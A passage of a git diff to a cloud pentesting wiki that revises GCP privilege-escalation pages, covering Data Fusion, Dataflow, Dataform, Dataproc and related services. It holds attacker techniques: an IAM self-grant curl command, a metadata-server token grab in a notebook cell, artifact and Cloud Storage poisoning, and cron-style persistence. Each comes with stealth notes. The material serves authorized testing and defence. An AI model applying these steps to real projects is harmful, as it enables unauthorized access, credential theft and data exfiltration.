resource's `status.privateKey` is another read route when the caller can get that resource after reconciliation. Targeting a service account does not succeed merely because it is referenced: the Config Connector identity must be authorized to create a key for it.[[7]](#references)[[11]](#references) **Potential Impact:** long-lived offline impersonation of the target service account, bounded by that account's IAM permissions, deny policies, VPC Service Controls, and any credential restrictions. It does not automatically yield the Config Connector identity itself unless that identity is the target and key creation is permitted on it. @@ -164,5 +166,7 @@ One-time setup event; the binding itself is durable and invisible to project-sco - [9] [IAM service-account key audit log examples](https://docs.cloud.google.com/iam/docs/audit-logging/examples-service-accounts) - [10] [Config Connector `IAMPolicyMember`](https://docs.cloud.google.com/config-connector/docs/reference/resource-docs/iam/iampolicymember) - [11] [Config Connector service-account-key Secret controller](https://github.com/GoogleCloudPlatform/k8s-config-connector/blob/master/pkg/controller/gsakeysecretgenerator/gsakey_secret_generator.go) +- [12] [IAM upload service account key API](https://docs.cloud.google.com/iam/docs/reference/rest/v1/projects.serviceAccounts.keys/upload) +- [13] [GKE RBAC and IAM authorization](https://docs.cloud.google.com/kubernetes-engine/docs/how-to/role-based-access-control) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-delivery-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-delivery-privesc.md index 8420dc67ba..b96e8067b9 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-delivery-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-delivery-privesc.md @@ -33,6 +33,8 @@ configdelivery.fleetPackages.create **Minimum permissions / prerequisites:** The five permissions above on the Config Delivery project; Config Delivery and Config Sync enabled; target clusters registered to the named fleet; and a target/selector that includes those clusters. The release must use a semantic version such as `v1.0.0`, be created as `DRAFT`, contain at least one valid Kubernetes manifest in a variant, and be changed to `PUBLISHED` before the fleet package selects its tag. Config Delivery currently supports `us-central1`.[[1]](#references) +A cluster-admin path needs more than those API permissions. On an exact selected fleet member, Config Sync must be running. A new fleet package creates its own RootSync, whose reconciler has `cluster-admin` by default. When updating an existing package, check the RootSync named after that package: a custom `spec.override.roleRefs` can reduce its authority. An update can change the package's target selector to include another member, subject to the package update and successful reconciliation. The attacker can then include a ClusterRoleBinding or another privileged manifest in the release, subject to admission policy.[[1]](#references)[[4]](#references) + **Potential Impact:** Creation of the Kubernetes resources described by the selected variant on matching fleet clusters. This can yield workload execution and persistence where admission controls and Kubernetes RBAC allow it. It does **not** by itself prove cluster-admin, privileged-pod admission, node/host access, or access to a Google service account; Workload Identity and metadata access remain bounded by each cluster's KSA/GSA bindings and runtime controls. **Stealth:** **Low**. Bundle/release authoring and publication are always-on Admin Activity, fleet-package creation is off-default Data Access, and successful Kubernetes object writes produce GKE Admin Activity. Attribution is split between the initiating principal and Google-managed reconciliation identities, but the control-plane chain remains correlatable. @@ -57,5 +59,6 @@ Config Delivery methods are long-running operations and can emit start and compl - [1] [Deploy Kubernetes configurations with fleet packages](https://docs.cloud.google.com/kubernetes-engine/config-sync/docs/how-to/fleet-packages) - [2] [Config Delivery IAM roles and permissions](https://docs.cloud.google.com/iam/docs/roles-permissions/configdelivery) - [3] [Config Delivery audit logging](https://docs.cloud.google.com/kubernetes-engine/config-sync/docs/concepts/audit-logging) +- [4] [Config Sync architecture and default RootSync permissions](https://docs.cloud.google.com/kubernetes-engine/config-sync/docs/concepts/architecture) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-contact-center-insights-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-contact-center-insights-privesc.md index 68f702e683..e67b260a64 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-contact-center-insights-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-contact-center-insights-privesc.md @@ -4,19 +4,20 @@ ## Authorized-view IAM self-grant (`authorizedViews.setIamPolicy`) -`authorizedViews` support resource-level IAM. Granting the acting principal a read role on an authorized view (which scopes a set of conversations) leaves a durable, re-entrant read foothold over that conversation data after its broader project-level access is removed. +An authorized view limits which contact-center conversations a user can see. Its own IAM policy can grant access to that view. A principal with `contactcenterinsights.authorizedViews.setIamPolicy` on an existing view can grant itself `roles/contactcenterinsights.authorizedViewer`, even if it did not previously have view access. The conversations available afterward depend on the view's filter and current contents. **Bind the acting principal on an authorized view** ```bash -curl -s -X POST "$BASE/authorizedViewSets//authorizedViews/:setIamPolicy" \ +RESOURCE="projects//locations//authorizedViewSets//authorizedViews/" +curl -s -X POST "https://contactcenterinsights.googleapis.com/v1/$RESOURCE:setIamPolicy" \ -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \ -d '{"policy":{"bindings":[{"role":"roles/contactcenterinsights.authorizedViewer","members":["user:"]}]}}' ``` **Minimum permission:** `contactcenterinsights.authorizedViews.setIamPolicy` on the exact view. A read-modify-write preserving its existing policy also needs `contactcenterinsights.authorizedViews.getIamPolicy`. The view must already exist, and the new role must be grantable there. -**Potential Impact:** Long-lived read access to the conversations exposed by the authorized view for the acting principal — a persistent window into contact-center PII. +**Potential Impact:** The new binding could let the principal read conversations exposed by this view, which may contain customer data. **Stealth:** Low — `SetIamPolicy` is `ADMIN_WRITE`, always logged and attributed. However, as a **resource-level** binding it does **not** appear in the *project* IAM policy, so it evades project-level IAM reviews and shows only on a per-authorized-view policy inspection. @@ -40,6 +41,7 @@ contactcenterinsights.googleapis.com ...ContactCenterInsights.SetIamPolicy ... - [1] [Contact Center AI Insights documentation](https://cloud.google.com/contact-center/insights/docs) - [2] [CCAI Insights access control (IAM)](https://cloud.google.com/contact-center/insights/docs/access-control) +- [3] [Authorized-view IAM methods in the Contact Center Insights REST discovery document](https://contactcenterinsights.googleapis.com/$discovery/rest?version=v1) Additional access-control details and role semantics: [Google Cloud authorized views](https://docs.cloud.google.com/gemini-enterprise-cx/insights/use-authorized-views). diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-data-fusion-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-data-fusion-privesc.md index ddd63c5643..a1196fc84f 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-data-fusion-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-data-fusion-privesc.md @@ -14,7 +14,7 @@ Cloud Data Fusion has three relevant identities. The caller is authorized to use ### Create and execute a pipeline as its configured VM service account -The built-in PySpark Program and Scala Spark plugins execute user-provided code. A principal that can deploy and start a pipeline can therefore execute code on the Managed Service for Apache Spark cluster as the service account selected by the effective compute profile. The default is the Compute Engine default service account, but an Enterprise instance can use a user-managed service account instead. +Code plugins such as PySpark Program, Scala Spark Program, Scala Spark Compute, Python Evaluator, JavaScript, and Spark execute user-provided code when they are installed and available to the selected pipeline artifact. PySpark Program is available through the Cloud Data Fusion Hub, so do not assume it is installed. A principal that can deploy and start a pipeline using a code plugin can execute code on the Managed Service for Apache Spark cluster as the service account selected by its compute profile. That profile can be selected for a manual run or supplied as a runtime argument. When no profile is selected, a namespace or system default takes precedence over the built-in profile. The built-in profile uses the Compute Engine default service account unless the Data Fusion instance specifies another Dataproc service account. **Minimum permissions and prerequisites:** the caller needs effective `datafusion.instances.get` on the instance plus `datafusion.namespaces.get`, `datafusion.pipelines.create`, and `datafusion.pipelines.execute` on the namespace. A namespace-scoped role such as `roles/datafusion.developer` supplies the pipeline permissions. Google's current RBAC pages are inconsistent about the instance gate: the RBAC overview says Accessor is implicitly assigned when another Data Fusion RBAC role is assigned, while the role matrix and setup guide still direct administrators to grant `roles/datafusion.accessor` separately. Confirm effective `instances.get` with IAM Policy Analyzer instead of assuming either behavior. The chosen code-capable plugin must already be installed; uploading a custom plugin additionally needs `datafusion.artifacts.create` and `datafusion.artifacts.update`. @@ -39,7 +39,7 @@ AUTH_TOKEN="$(gcloud auth print-access-token)" # For a service-account OAuth token against a version 6.5 RBAC instance, # request userinfo.email plus cloud-platform (or servicecontrol) scopes. -# pipeline.json can reference the built-in PySpark Program or Scala Spark plugin. +# pipeline.json can reference an installed PySpark Program or Scala Spark plugin. curl --fail-with-body --silent --show-error \ -X PUT \ -H "Authorization: Bearer ${AUTH_TOKEN}" \ @@ -139,7 +139,9 @@ protoPayload.methodName="SetIamPolicy" ## Malicious artifact / plugin planted in the namespace (`datafusion.artifacts.create`) -Uploading a custom CDAP artifact/plugin (JAR) makes it available to pipelines in the namespace. A trojanized plugin that legitimate pipelines already use, or a widget that runs on load, gives code execution whenever those pipelines run — without the attacker having to trigger anything. +Uploading a custom CDAP artifact/plugin (JAR) makes it available in that namespace. Upload permission alone does not show that an existing pipeline will load it. Deployed pipeline configurations can name a plugin artifact and version, and multiple plugin versions can coexist. To establish a poisoning path, confirm that a pipeline actually resolves the attacker-controlled artifact version, can run again under a named compute profile, and that the attacker can replace or supply that exact artifact without needing pipeline edit rights. + +CDAP allows an existing `SNAPSHOT` artifact version to be uploaded again; the new content is picked up when a program starts. A non-snapshot version cannot be overwritten in place: replacing that exact namespace-scoped version requires deleting it and adding it again. Google's role matrix lists `datafusion.namespaces.get` with `datafusion.artifacts.delete` for deletion, and `datafusion.namespaces.get`, `datafusion.artifacts.create`, and `datafusion.artifacts.update` for creation. A pipeline pinned to a system-scoped artifact is not replaced by uploading a user-scoped artifact of the same name.
@@ -152,9 +154,9 @@ curl -s -H "Authorization: Bearer $TOKEN" -H 'Artifact-Version: 1.0.0' \
-**Potential Impact:** Supply-chain-style persistence — attacker code executes as the runtime SA every time any pipeline using the plugin runs, blending into normal operations. +**Potential Impact:** If a pipeline resolves the attacker-controlled artifact and runs again, the plugin may execute under the pipeline VM service account. A newly uploaded version that no pipeline selects is only an available artifact, not demonstrated execution. -**Stealth:** High — artifact upload is a CDAP-instance operation, **not** a Cloud Audit Log event (reasoned). The plugin only surfaces to someone inspecting the namespace's artifacts; execution again shows only as normal pipeline Dataproc activity. +**Stealth:** Artifact upload is not listed in Google's current Data Fusion audit-method catalog, so its Cloud Audit Log behavior should be verified for the instance. Deleting an artifact is documented as an Admin Activity event. A subsequent pipeline run can also create Managed Service for Apache Spark activity.
@@ -162,10 +164,11 @@ curl -s -H "Authorization: Bearer $TOKEN" -H 'Artifact-Version: 1.0.0' \ | Audit log method | Log type | Logged by default? | | --- | --- | --- | -| Artifact / plugin upload (CDAP layer) | None — not a Cloud Audit event | No | -| Execution: ephemeral `dataproc ...CreateCluster` (service agent) | Admin Activity (ADMIN_WRITE) | Yes | +| Artifact / plugin upload (CDAP layer) | No upload method listed in the current audit catalog | Unconfirmed | +| `datafusion.googleapis.com.ArtifactHttpHandler.deleteArtifact` | Admin Activity (ADMIN_WRITE) | Yes | +| Execution: ephemeral `dataproc ...CreateCluster` (service agent) | Admin Activity (ADMIN_WRITE) | Yes when an ephemeral cluster is created | -Artifact upload: **none in Cloud Audit Logs** (CDAP-layer, reasoned). Execution: only the ephemeral Dataproc cluster (`ADMIN_WRITE`) side-channel. +The audit catalog documents artifact deletion and property writes, but does not specify an artifact-upload method. An existing-cluster compute profile would not create an ephemeral cluster for every run.
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md index c938af22b7..163a4b8b62 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md @@ -16,7 +16,7 @@ Dataflow workers authorize Google Cloud requests as the job's worker service acc Dataflow pipelines can load templates, staging dependencies, metadata, or Python UDFs from Cloud Storage. Google describes compromise of one of these objects as **shadow resource poisoning**: a later job or a newly autoscaled worker fetches the modified code and executes it with the worker service account. Custom Python UDFs are a particularly direct target because Dataflow invokes the function for pipeline elements.[[2]](#references)[[3]](#references) -**Minimum permissions and prerequisites:** replacing the live generation of an existing object requires both `storage.objects.create` and `storage.objects.delete` on that object. Contrary to a common shorthand, `storage.objects.update` only updates object metadata and is not sufficient to replace its contents; `storage.objects.get` is needed only to inspect or preserve the original. The victim pipeline must consume the exact object name or an unpinned latest generation, and its worker identity must be able to read it. A future launch or a worker that fetches the dependency after autoscaling must occur. Object retention can prevent replacement; versioning preserves an old generation for recovery but does not keep an unpinned consumer on it.[[4]](#references)[[5]](#references) +**Minimum permissions and prerequisites:** replacing the live generation of an existing object requires both `storage.objects.create` and `storage.objects.delete` on that object. Contrary to a common shorthand, `storage.objects.update` only updates object metadata and is not sufficient to replace its contents; `storage.objects.get` is needed only to inspect or preserve the original. The victim pipeline must consume the exact object name or an unpinned latest generation, and its worker identity must be able to read it. A future launch or a worker that fetches the dependency after autoscaling must occur. Object retention can prevent replacement; versioning preserves an old generation for recovery but does not keep an unpinned consumer on it. For a worker-pool package, a recorded `sha256` is an integrity pin: the worker verifies it and refuses a modified package. That package is not a viable replacement path unless the expected checksum can also be changed.[[4]](#references)[[5]](#references)[[20]](#references) ```bash BUCKET="TRUSTED_DATAFLOW_BUCKET" @@ -39,7 +39,7 @@ def transform(value): return value ``` -**Potential Impact:** code execution in each affected worker as that job's worker service account, which can expose data and Google Cloud resources reachable by that identity or alter pipeline output. The primitive does not grant permissions that the worker service account lacks. A generation-pinned artifact, an unreadable replacement, retention controls, restricted egress, or VPC Service Controls can prevent or substantially bound exploitation. +**Potential Impact:** code execution in each affected worker as that job's worker service account, which can expose data and Google Cloud resources reachable by that identity or alter pipeline output. The primitive does not grant permissions that the worker service account lacks. A generation-pinned artifact, a worker package with a pinned SHA256 checksum, an unreadable replacement, retention controls, restricted egress, or VPC Service Controls can prevent or substantially bound exploitation. **Stealth:** **High** — Cloud Storage object writes are Data Access events and are disabled by default, while the later job creation may be performed by the legitimate submitter. Object versioning, inventory/change monitoring, enabled Data Access logs, worker failures, and downstream calls still provide detection opportunities. @@ -134,7 +134,7 @@ The documented Dataflow audit `methodName` is the permission-like string `datafl ## `datapipelines.pipelines.create` — recurring Dataflow run-as-SA via a scheduled Data Pipeline (cron persistence) -The two techniques above are a stored artifact and a single running job. A **Data Pipeline** (`datapipelines.googleapis.com`) is a control-plane object that wraps a Dataflow Flex/classic template launch and attaches a **Cloud Scheduler cron trigger**, re-launching the Dataflow job on a schedule. Dataflow has **no native scheduler of its own**, so the Pipeline object is the persistence primitive — the batch-Dataflow analog of the BigQuery scheduled-query cron backdoor. The launch spec's `environment.serviceAccountEmail` selects the **worker SA**, so every scheduled run executes attacker-influenced pipeline code (a poisoned template, inline Beam YAML, or a UDF) as that SA — reading its IMDS token, copying/`EXPORT`ing data to an attacker bucket, or re-granting access — **repeatedly, long after the attacker's own credentials are revoked**. Cancelling one run does not remove it: the Pipeline keeps re-creating jobs. +Data Pipelines can store a batch Dataflow template launch and create a Cloud Scheduler job that launches it repeatedly. A caller with `datapipelines.pipelines.create` on a supported project and region can provide a classic or Flex Template and choose the Dataflow worker service account. A template that runs caller-controlled code could then execute with that worker account's permissions when the scheduled job starts.[[16]](#references)[[17]](#references) ```bash # READ-ONLY recon of existing pipelines (safe) @@ -156,9 +156,9 @@ gcloud beta datapipelines pipeline list --region=us-central1 --project= # Trigger on demand: POST .../pipelines/:run ``` -**Potential Impact:** a credential-independent, recurring foothold — each cron fire launches Dataflow as the victim worker SA (code-exec-as-SA + scheduled exfil), surviving revocation of the attacker's original principal. Pair with the backdoored Flex-template image or inline Beam-YAML RCE above for the payload; Data Pipelines supplies the recurring trigger those lack. +**Potential Impact:** if the required grants and runtime conditions hold, a scheduled template may repeatedly run code with the selected worker account's access, even after the pipeline creator loses create permission. The permission pair alone does not establish that a usable scheduled launch exists or that the worker can start. -**Minimum permissions**: `datapipelines.pipelines.create` (+ `.run`) — in `roles/datapipelines.admin` — plus `iam.serviceAccounts.actAs` on the chosen worker SA (same gate as `dataflow.jobs.create`) and on `schedulerServiceAccountEmail`; `roles/editor`/`owner` satisfy both actAs halves. The `datapipelines` service agent performs the underlying Dataflow + Cloud Scheduler creation. +**Minimum permissions and prerequisites:** the caller needs `datapipelines.pipelines.create` and `iam.serviceAccounts.actAs` on the chosen worker account and on the Cloud Scheduler account if they differ. The scheduler account needs the documented Service Account User grant for the scheduled launch, and the Data Pipelines service agent must be able to create the Scheduler and Dataflow jobs. The worker account and Dataflow service agent need the Dataflow runtime grants described above. Staging and temporary storage, enabled APIs, and a supported region are also required. Creating a pipeline without a schedule only stores its definition; a separate caller would need `datapipelines.pipelines.run` to launch it. The Data Pipelines workload accepts classic and Flex Template launch requests. A Flex launch can reference Google's public regional `Yaml_Template` and pass caller-controlled Beam YAML in its `yaml_pipeline` parameter; this does not require write access to a separate template object. The Google Cloud CLI uses that same public template for `gcloud dataflow yaml run`.[[1]](#references)[[16]](#references)[[17]](#references)[[18]](#references)[[19]](#references) **Stealth:** Medium — the Pipeline write and each launch land in **three services under two principals** (you for the pipeline write; the bound worker SA for the recurring Dataflow launches), so no single service's audit log shows the whole chain, and a Dataflow-only or Cloud-Scheduler-only IAM/audit review misses the `datapipelines.pipelines.*` namespace entirely. @@ -192,5 +192,10 @@ gcloud beta datapipelines pipeline list --region=us-central1 --project= 13. [Compute Engine audit logging](https://docs.cloud.google.com/compute/docs/logging/audit-logging) 14. [Apache Beam YAML overview](https://beam.apache.org/documentation/sdks/yaml/) 15. [Apache Beam YAML user-defined functions](https://beam.apache.org/documentation/sdks/yaml-udf/) +16. [Work with Dataflow Data Pipelines](https://docs.cloud.google.com/dataflow/docs/guides/data-pipelines) +17. [Data Pipelines resource and workload](https://docs.cloud.google.com/dataflow/docs/reference/data-pipelines/rest/v1/projects.locations.pipelines) +18. [Create a Data Pipeline](https://docs.cloud.google.com/dataflow/docs/reference/data-pipelines/rest/v1/projects.locations.pipelines/create) +19. [`gcloud dataflow yaml run`](https://docs.cloud.google.com/sdk/gcloud/reference/dataflow/yaml/run) +20. [Dataflow Job worker package and SHA256 verification](https://docs.cloud.google.com/dataflow/docs/reference/rest/v1b3/projects.jobs#Package) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataform-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataform-privesc.md index f9920ab873..6accb3a6bf 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataform-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataform-privesc.md @@ -78,6 +78,12 @@ The current Google Cloud CLI has no `gcloud dataform` command group; the REST ex **Minimum permissions and prerequisites:** `dataform.repositories.create` on the location parent and `iam.serviceAccounts.actAs` on the target service account. This minimum assumes the authenticated caller is eligible for the `setAuthenticatedUserAdmin=true` grant and receives `roles/dataform.admin`. If `CreatorRoleConfig` disables or downscopes that grant, the caller must otherwise hold `dataform.workspaces.create`, `dataform.workspaces.writeFile`, `dataform.compilationResults.create`, and `dataform.workflowInvocations.create`. The Dataform API must be enabled. The Dataform service agent must be able to mint a token for the target account, and that account needs `bigquery.jobs.create` in the repository project plus the BigQuery permissions exercised by the SQL. +When the selected service account belongs to another project, the effective `iam.disableCrossProjectServiceAccountUsage` policy in that account's project must explicitly allow cross-project attachment. An `actAs` grant alone is insufficient if the policy enforces the restriction. Reading a protected source table into a new result table also requires `bigquery.tables.create` and `bigquery.tables.updateData` on the destination dataset, plus a way for the caller to read that result. + +The same workflow can create a table in a native BigQuery dataset that the caller cannot write directly, if the service account has `bigquery.tables.create` and `bigquery.tables.updateData` there. This is a bounded dataset write through the service account. On an existing repository, `dataform.repositories.setIamPolicy` can give the caller the repository permissions needed to author and invoke the workflow, provided the effective IAM member policy permits that self-grant. + +An `EXPORT DATA` query can also move a protected table into a Cloud Storage bucket the caller can read. That route needs the service account's `bigquery.tables.getData` and `bigquery.tables.export` on the table, the documented Cloud Storage write permissions on a suitable bucket, and the caller's object read permission. The BigQuery table and bucket locations must be compatible. + **Potential Impact:** Run attacker-authored BigQuery SQL with the target service account's effective permissions. This can read, alter, or export data reachable by that identity, but it is not arbitrary host code execution or general credential extraction. **Stealth:** **Low** — repository and workspace creation are always-on Admin Activity, the strict-act-as platform signal records the caller and effective identity, and every invocation produces a completion platform log. SQL-writing and invocation audit records themselves are off by default. diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md index af2dae3bb2..0975507b9a 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md @@ -14,7 +14,7 @@ For more information about Dataproc access: The Dataproc permissions listed here cover the cluster and job operations used by this method: submitting a job requires `dataproc.jobs.create` and `dataproc.clusters.use`, while the Google Cloud CLI also requires `dataproc.clusters.get` and `dataproc.jobs.get` for job submission and output handling. Uploading the script to Cloud Storage requires `storage.objects.create`; `storage.objects.get` and `storage.objects.list` can also be needed by CLI workflows.[[1]](#references)[[3]](#references) -A reverse shell is not reliably obtainable with this method. A job running on a Dataproc cluster VM can, however, query the metadata server and obtain an access token for the VM service account, as shown below.[[4]](#references)[[5]](#references)[[6]](#references) +A reverse shell is not reliably obtainable with this method. On a standard cluster, a job running on a Dataproc VM can query the metadata server for the VM service-account token, subject to its OAuth scopes, as shown below.[[4]](#references)[[5]](#references)[[6]](#references) #### Steps to exploit @@ -24,7 +24,7 @@ A reverse shell is not reliably obtainable with this method. A job running on a - Use the job to access the metadata server.[[4]](#references)[[6]](#references) -- Leak the service account token used by the cluster.[[4]](#references)[[5]](#references) +- On a standard cluster, retrieve the VM service-account token if its metadata endpoint is available to the job.[[4]](#references)[[5]](#references)
Python script to fetch SA token from metadata server @@ -69,9 +69,9 @@ gcloud dataproc jobs submit pyspark gs:/// \
-**Potential Impact:** Submit an arbitrary PySpark job to an **existing** cluster; the job runs on a cluster VM, reads the metadata server and steals the **cluster VM's service-account token** → pivot with its permissions. +**Potential Impact:** Submit a PySpark job to an **existing** cluster and run code with its effective workload identity. On a standard cluster, the job may access the VM service account within the VM's OAuth scopes. On a secure multi-tenant cluster, Google documents jobs as accessing resources with the submitting user's mapped service account. A personal-authentication cluster propagates the owner's credentials, so it should not be treated as a VM service-account pivot without separate evidence. -**Minimum permissions**: `dataproc.jobs.create` + `dataproc.clusters.use`; the Google Cloud CLI also needs `dataproc.clusters.get` and `dataproc.jobs.get`. Uploading a new script needs `storage.objects.create` for the caller, while the cluster VM SA needs `storage.objects.get` on that object. Reading the stored driver output additionally needs object-read access. +**Minimum permissions**: project-level `dataproc.jobs.create` plus `dataproc.clusters.use` on the chosen cluster; the Google Cloud CLI also needs `dataproc.clusters.get` and `dataproc.jobs.get`. Uploading a new script needs `storage.objects.create` for the caller, while the effective job service account needs `storage.objects.get` on that object. Reading the stored driver output additionally needs object-read access. **Stealth:** Low. Submission is an attributable, always-on Admin Activity LRO and leaves a job resource. The example prints the stolen token, so that token is also persisted in the job's Cloud Storage driver output even when job-driver Cloud Logging is disabled.[[17]](#references)[[18]](#references) @@ -83,10 +83,10 @@ gcloud dataproc jobs submit pyspark gs:/// \ | GCS script upload (`storage.objects.create`) | Data Access (DATA_WRITE) | No | | Job driver output in the staging bucket | Dataproc job output / GCS object | Yes — output is persisted by default | | In-VM metadata token read | No direct Cloud Audit event | No | -| Google API calls made with the token | Target-service dependent; attributed to the cluster VM SA | Depends on the target method | +| Google API calls made with the token | Target-service dependent; attributed to the token's identity | Depends on the target method | - `SubmitJob` checks `dataproc.jobs.create` and `dataproc.clusters.use`; it is **ADMIN_WRITE** and a long-running operation, so it normally emits start and completion entries. -- The GCS upload is Data Access (off by default). The metadata fetch itself has no Cloud Audit event, but the sample's stdout is retained in `driverOutputResourceUri`, and later Google API calls are audited according to the target service under the VM SA identity.[[17]](#references)[[18]](#references) +- The GCS upload is Data Access (off by default). The metadata fetch itself has no Cloud Audit event, but the sample's stdout is retained in `driverOutputResourceUri`, and later Google API calls are audited according to the target service under the token's identity.[[17]](#references)[[18]](#references)
@@ -176,7 +176,7 @@ A **session template** (`gcloud beta dataproc session-templates import`) can per **Potential Impact:** Interactive Serverless Spark session (Jupyter/Spark Connect) running as a chosen SA — same run-as-SA code-exec as a batch, but interactive. A **session template** persists the attacker-chosen `serviceAccount` so any later session from it runs as that SA (persistence). -**Minimum permissions**: `dataproc.sessions.create` or `dataproc.sessionTemplates.create` + `iam.serviceAccounts.actAs` on a custom runtime SA. The CLI also needs the documented get/operation-polling permissions, and the SA needs the runtime-version-appropriate Worker/Node permissions. +**Minimum permissions for a direct interactive session**: `dataproc.sessions.create` plus `iam.serviceAccounts.actAs` on a custom runtime SA. The caller also needs session read access to connect with an interactive client, and the SA needs the runtime-version-appropriate Worker/Node permissions. `dataproc.sessionTemplates.create` stores a reusable configuration; a session still has to be created from it before code can run. **Stealth:** Low. Session and template creation are always-on Admin Activity; the resource records the selected SA and runtime configuration, while the default Spark UI retains execution details. Calls made with the runtime token are logged by their target services under the runtime SA.[[17]](#references)[[22]](#references) @@ -213,7 +213,7 @@ gcloud dataproc clusters get-iam-policy --region= **Potential Impact:** Gain `dataproc.clusters.use` on one protected cluster and combine it with an existing project-level `dataproc.jobs.create` grant to execute code as that cluster's VM SA. -**Minimum permissions**: `dataproc.clusters.setIamPolicy` on the target cluster **plus** project-level `dataproc.jobs.create` (`dataproc.jobs.get` for the CLI). +**Minimum permissions**: `dataproc.clusters.setIamPolicy` on the target cluster **plus** project-level `dataproc.jobs.create`. Read the cluster policy with `dataproc.clusters.getIamPolicy` to preserve its etag when adding the binding. The job needs a script the caller can supply and the cluster SA can read; `dataproc.jobs.get` is needed by the CLI. **Stealth:** Low. `SetIamPolicy` is always-on Admin Activity, records the resource-level grant, and leaves a binding that is directly visible on the cluster. The subsequent job submission is another always-on Admin Activity event.[[17]](#references) @@ -245,7 +245,7 @@ gcloud dataproc workflow-templates set-managed-cluster atk-wft --region= **Potential Impact:** Persistence + run-as. A workflow template pins the cluster's SA **and** `initializationActions` scripts that run **as root on every node at startup** — anyone who later instantiates it runs the attacker payload as the attacker-chosen SA. Same via `clusters create --initialization-actions=gs://.../init.sh`. -**Minimum permissions**: `dataproc.workflowTemplates.create` for a complete API-supplied template; the shown multi-command CLI flow also updates the template. Triggering it requires `dataproc.workflowTemplates.instantiate`. Direct cluster creation requires `dataproc.clusters.create`. A custom SA remains subject to Dataproc's service-account attachment and runtime prerequisites. +**Minimum permissions**: project-level `dataproc.workflowTemplates.create` for a complete API-supplied template and `dataproc.workflowTemplates.instantiate` on the new template to run it. `dataproc.workflowTemplates.instantiateInline` can run the complete workflow without creating a stored template. The shown multi-command CLI flow also needs `dataproc.workflowTemplates.update`. Google also requires `iam.serviceAccounts.actAs` on the chosen VM service account when instantiating a workflow. The account needs Dataproc worker permissions and access to the initialization script, and the project needs a working Dataproc service agent and network. A template or inline workflow must include a valid job; creating a template alone does not run the cluster. Direct cluster creation requires `dataproc.clusters.create`. **Stealth:** Low. Template creation/update and later instantiation are always-on Admin Activity, the malicious script URI and SA remain in template inventory, and initialization-action output is written to per-node startup logs.[[17]](#references)[[19]](#references) @@ -291,7 +291,7 @@ gcloud dataproc clusters create pwn --region= \ ### Component Gateway (Jupyter / Zeppelin) — interactive code-exec as the cluster SA without `jobs.create` -`--enable-component-gateway` with `--optional-components=JUPYTER,ZEPPELIN` exposes the notebook web UIs through an **IAM-authenticated Google-hosted proxy** (no firewall change, no serial console). A notebook cell is arbitrary code that runs on the master node **as the cluster VM service account**, so it is an exec vector fully **distinct from `dataproc.jobs.create`** — useful when job submission is monitored/denied but web-UI access (or cluster read on an already-gateway-enabled cluster) is not: +`--enable-component-gateway` with `--optional-components=JUPYTER,ZEPPELIN` exposes the notebook web UIs through an **IAM-authenticated Google-hosted proxy** (no firewall change, no serial console). A notebook cell can run code on the cluster without `dataproc.jobs.create`. On a standard cluster, that code can use the cluster VM service account when its OAuth scopes permit it. Secure multi-tenancy instead maps the user to a separate service account, and personal cluster authentication propagates the user's credentials; check these settings before attributing notebook activity to the VM service account: ```python # in a Jupyter/Zeppelin cell on the cluster: @@ -302,7 +302,7 @@ print(u.urlopen(u.Request("http://metadata.google.internal/computeMetadata/v1/in **Minimum permissions**: `dataproc.clusters.create` (+ `--enable-component-gateway`) to stand one up, or `dataproc.clusters.get` to discover the URL **and** `dataproc.clusters.use` to access an existing gateway-enabled cluster. No `actAs` is needed to use the SA already attached to an existing cluster.[[24]](#references) -**Potential Impact:** interactive RCE as the cluster SA (→ metadata token theft, lateral movement) through a channel that produces **no `jobs.create` event**.[[12]](#references) +**Potential Impact:** interactive code execution with the notebook's available identity (the VM service account on a standard cluster, or the user's mapped service account under secure multi-tenancy), through a channel that produces **no `jobs.create` event**.[[12]](#references) **Stealth:** Medium. Reusing an existing gateway avoids `SubmitJob`; `GetCluster` is Data Access and off by default. However, Component Gateway access is authenticated and Dataproc's default extended logging includes Knox gateway-audit and Jupyter logs. Downstream Google API calls appear as the cluster SA.[[17]](#references)[[19]](#references)[[24]](#references)[[25]](#references) @@ -376,9 +376,11 @@ For cluster logging suppression, see [Dataproc post exploitation](../gcp-post-ex `gcloud dataproc clusters describe` returns in a single read: the VM `serviceAccount` and `serviceAccountScopes` (exactly what a stolen token can do — ties to the scope-amplification technique above), the `configBucket` / `tempBucket` (staging & temp GCS buckets), free-form `metadata` and `softwareConfig.properties`. With `storage.objects.get` on the staging/temp bucket you can read retained driver output, job arguments and dependency payloads. Planting a new object 